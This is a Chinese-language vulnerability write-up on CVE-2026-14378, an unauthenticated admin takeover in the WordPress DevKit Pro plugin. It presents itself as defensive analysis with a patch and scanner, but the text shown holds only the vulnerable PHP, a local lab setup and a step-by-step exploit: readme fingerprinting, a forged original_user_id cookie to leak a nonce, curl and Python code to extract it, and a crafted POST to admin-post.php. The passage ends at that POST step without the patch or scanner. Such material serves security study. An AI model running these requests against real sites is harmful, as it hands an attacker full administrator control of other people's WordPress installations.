针对 CVE-2026-14378(WordPress DevKit Pro 插件 <= 2.3.0)的防御分析、补丁解析及检测扫描器。
CVE-2026-14378 是 WordPress DevKit Pro 插件中的一个严重未认证身份验证绕过漏洞(CVSS 9.8),影响所有版本直至并包括 2.3.0。
该插件包含一个开发者用户切换机制。当管理员“切换”到另一个用户账户时,它会将管理员的 ID 存储在一个名为 original_user_id 的 cookie 中。缺陷在于:只要该 cookie 存在,插件就会在任何页面上渲染一个“切换回来”的 HTML 表单——包括手动设置该 cookie 的未认证访问者。更糟糕的是,nonce 验证步骤检查的是cookie 用户的管理员权限,而非调用者的会话——因此服务器会欣然向任何发送正确 POST 请求的人发放一个已认证的管理员会话 cookie。
最终结果:无需任何凭据即可完全接管 WordPress 管理员账户。
| 属性 | 详情 |
|---|---|
| CVE ID | CVE-2026-14378 |
| 漏洞类别 | 身份验证不当(CWE-287) |
| CVSS v3.1 评分 | 9.8(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 受影响软件 | DevKit Pro(dplugins)WordPress 插件 |
| 受影响版本 | <= 2.3.0 |
| 已修补版本 | 2.3.1 |
| 披露日期 | 2026 年 10 月 2 日 |
DevKit Pro 包含一个开发者辅助功能,允许站点管理员“切换”到其他用户账户以测试权限。当管理员使用切换功能时:
Set-Cookie: original_user_id=1isset($_COOKIE['original_user_id'])wp_footer() 中渲染一个“切换回来”工具栏,其中包含一个带有新 nonce 的隐藏 POST 表单admin-post.php?action=revert_switchwp_set_auth_cookie($user_id) 以恢复原始会话wp_footer 钩子处理程序:
// DevKit Pro <= 2.3.0 — render_switch_back_bar()
public function render_switch_back_bar() {
// FLAW: Only checks if cookie exists — no session validation!
if ( isset( $_COOKIE['original_user_id'] ) ) {
$user_id = (int) $_COOKIE['original_user_id'];
$nonce = wp_create_nonce( 'devkit_revert_switch_' . $user_id );
echo '<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">';
echo ' <form id="devkit-revert-form" action="' . admin_url('admin-post.php') . '" method="POST">';
echo ' <input type="hidden" name="action" value="revert_switch" />';
echo ' <input type="hidden" name="_wpnonce" value="' . $nonce . '" />';
echo ' <input type="hidden" name="target_user_id" value="' . $user_id . '" />';
echo ' </form>';
echo '</div>';
echo '<!-- DevKit Pro 2.3.0 Switch Component Active -->';
}
}
处理表单提交的 POST 处理器:
// DevKit Pro <= 2.3.0 — handle_revert_switch()
public function handle_revert_switch() {
$user_id = (int) $_POST['target_user_id'];
$nonce = sanitize_text_field( $_POST['_wpnonce'] );
if ( ! $this->verify_nonce_and_capability( $user_id, $nonce ) ) {
wp_die( 'Unauthorized' );
}
wp_set_current_user( $user_id );
wp_set_auth_cookie( $user_id ); // <-- Grants authenticated session to caller
wp_redirect( admin_url() );
exit;
}
private function verify_nonce_and_capability( $user_id, $nonce ) {
if ( ! wp_verify_nonce( $nonce, 'devkit_revert_switch_' . $user_id ) ) {
return false;
}
// CRITICAL FLAW: Checks the cookie user's capability, not the caller's!
return user_can( $user_id, 'manage_options' );
}
user_can( $user_id, 'manage_options' ) 回答的问题是:“用户 #1 是否拥有 manage_options 权限?”
对于用户 #1(第一个创建的 WordPress 管理员),答案始终是 true。
它应该问的是:“发起此 HTTP 请求的人是否拥有 manage_options 权限?”
正确的检查是 current_user_can('manage_options'),对于未认证的访问者,它会返回 false。
整个演练过程均已执行并验证,针对的是运行在本地 Podman 容器(http://localhost:8080)中、启用了 DevKit Pro 2.3.0 的实时 WordPress 实例。
要在本地复现此问题,你需要:
快速 Podman 实验环境搭建:
# Start MariaDB
podman run -d --name wp-db \
-e MYSQL_ROOT_PASSWORD=rootpass \
-e MYSQL_DATABASE=wordpress \
-e MYSQL_USER=wpuser \
-e MYSQL_PASSWORD=wppass \
mariadb:10.6
# Start WordPress
podman run -d --name wp-app \
-p 8080:80 \
--link wp-db:mysql \
-e WORDPRESS_DB_HOST=mysql \
-e WORDPRESS_DB_NAME=wordpress \
-e WORDPRESS_DB_USER=wpuser \
-e WORDPRESS_DB_PASSWORD=wppass \
wordpress:latest
在 WordPress 初始化完成后(http://localhost:8080/wp-admin/install.php),通过插件菜单安装并激活 DevKit Pro 2.3.0。
在发送任何攻击载荷之前,通过获取插件 readme 来确认插件是否存在并确定其版本:
请求:
GET /wp-content/plugins/devkit-pro/readme.txt HTTP/1.1
Host: localhost:8080
响应(HTTP 200):
=== DevKit Pro ===
Requires at least: 5.0
Tested up to: 6.8
Requires PHP: 7.4
Stable tag: 2.3.0
License: GPLv2 or later
版本 2.3.0 位于受影响范围 <= 2.3.0 内。继续。
如果服务器返回 HTTP 404,则说明该插件未安装或路径已更改——此目标不通过该向量受此漏洞影响。
向任意 WordPress 页面发送一个 GET 请求,并将 original_user_id cookie 设置为 1(初始管理员的用户 ID):
请求:
GET /wp-login.php HTTP/1.1
Host: localhost:8080
Cookie: original_user_id=1
你可以使用 curl:
curl -v -H "Cookie: original_user_id=1" http://localhost:8080/wp-login.php
或 Python(requests 库):
import requests
url = "http://localhost:8080/wp-login.php"
cookie = {"original_user_id": "1"}
resp = requests.get(url, cookies=cookie)
print(resp.text)
服务器返回的内容(实际 HTTP 响应正文摘录):
<div id="devkit-pro-switch-back" class="devkit-switch-bar" style="display:none;">
<form id="devkit-revert-form" action="http://localhost:8080/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="revert_switch" />
<input type="hidden" name="_wpnonce" value="756081f907" />
<input type="hidden" name="target_user_id" value="1" />
</form>
</div>
<!-- DevKit Pro 2.3.0 Switch Component Active -->
服务器已经:
756081f907)admin-post.php?action=revert_switch 的隐藏表单中从 _wpnonce 隐藏输入中提取 nonce 值——这是下一步的关键。
使用 Python 解析 nonce:
from bs4 import BeautifulSoup
soup = BeautifulSoup(resp.text, "html.parser")
form = soup.find("form", {"id": "devkit-revert-form"})
nonce = form.find("input", {"name": "_wpnonce"})["value"]
print(f"Leaked nonce: {nonce}")
# Output: Leaked nonce: 756081f907
现在将提取的 nonce 连同 action=revert_switch 和 target_user_id=1 一起 POST 到 admin-post 处理程序。
重要:
handle_revert_switch()函数在 POST 请求本身中也会读取$_COOKIE['original_user_id']—— 因此该 cookie 必须在 GET(步骤 2)和 POST(步骤 3) 中都发送。
请求:
POST /wp-admin/admin-post.php HTTP/1.1
Host: localhost:8080
Cookie: original_user_id=1
Content-Type: application/x-www-form-urlencoded
action=revert_switch&_wpnonce=<nonce_from_step2>&target_user_id=1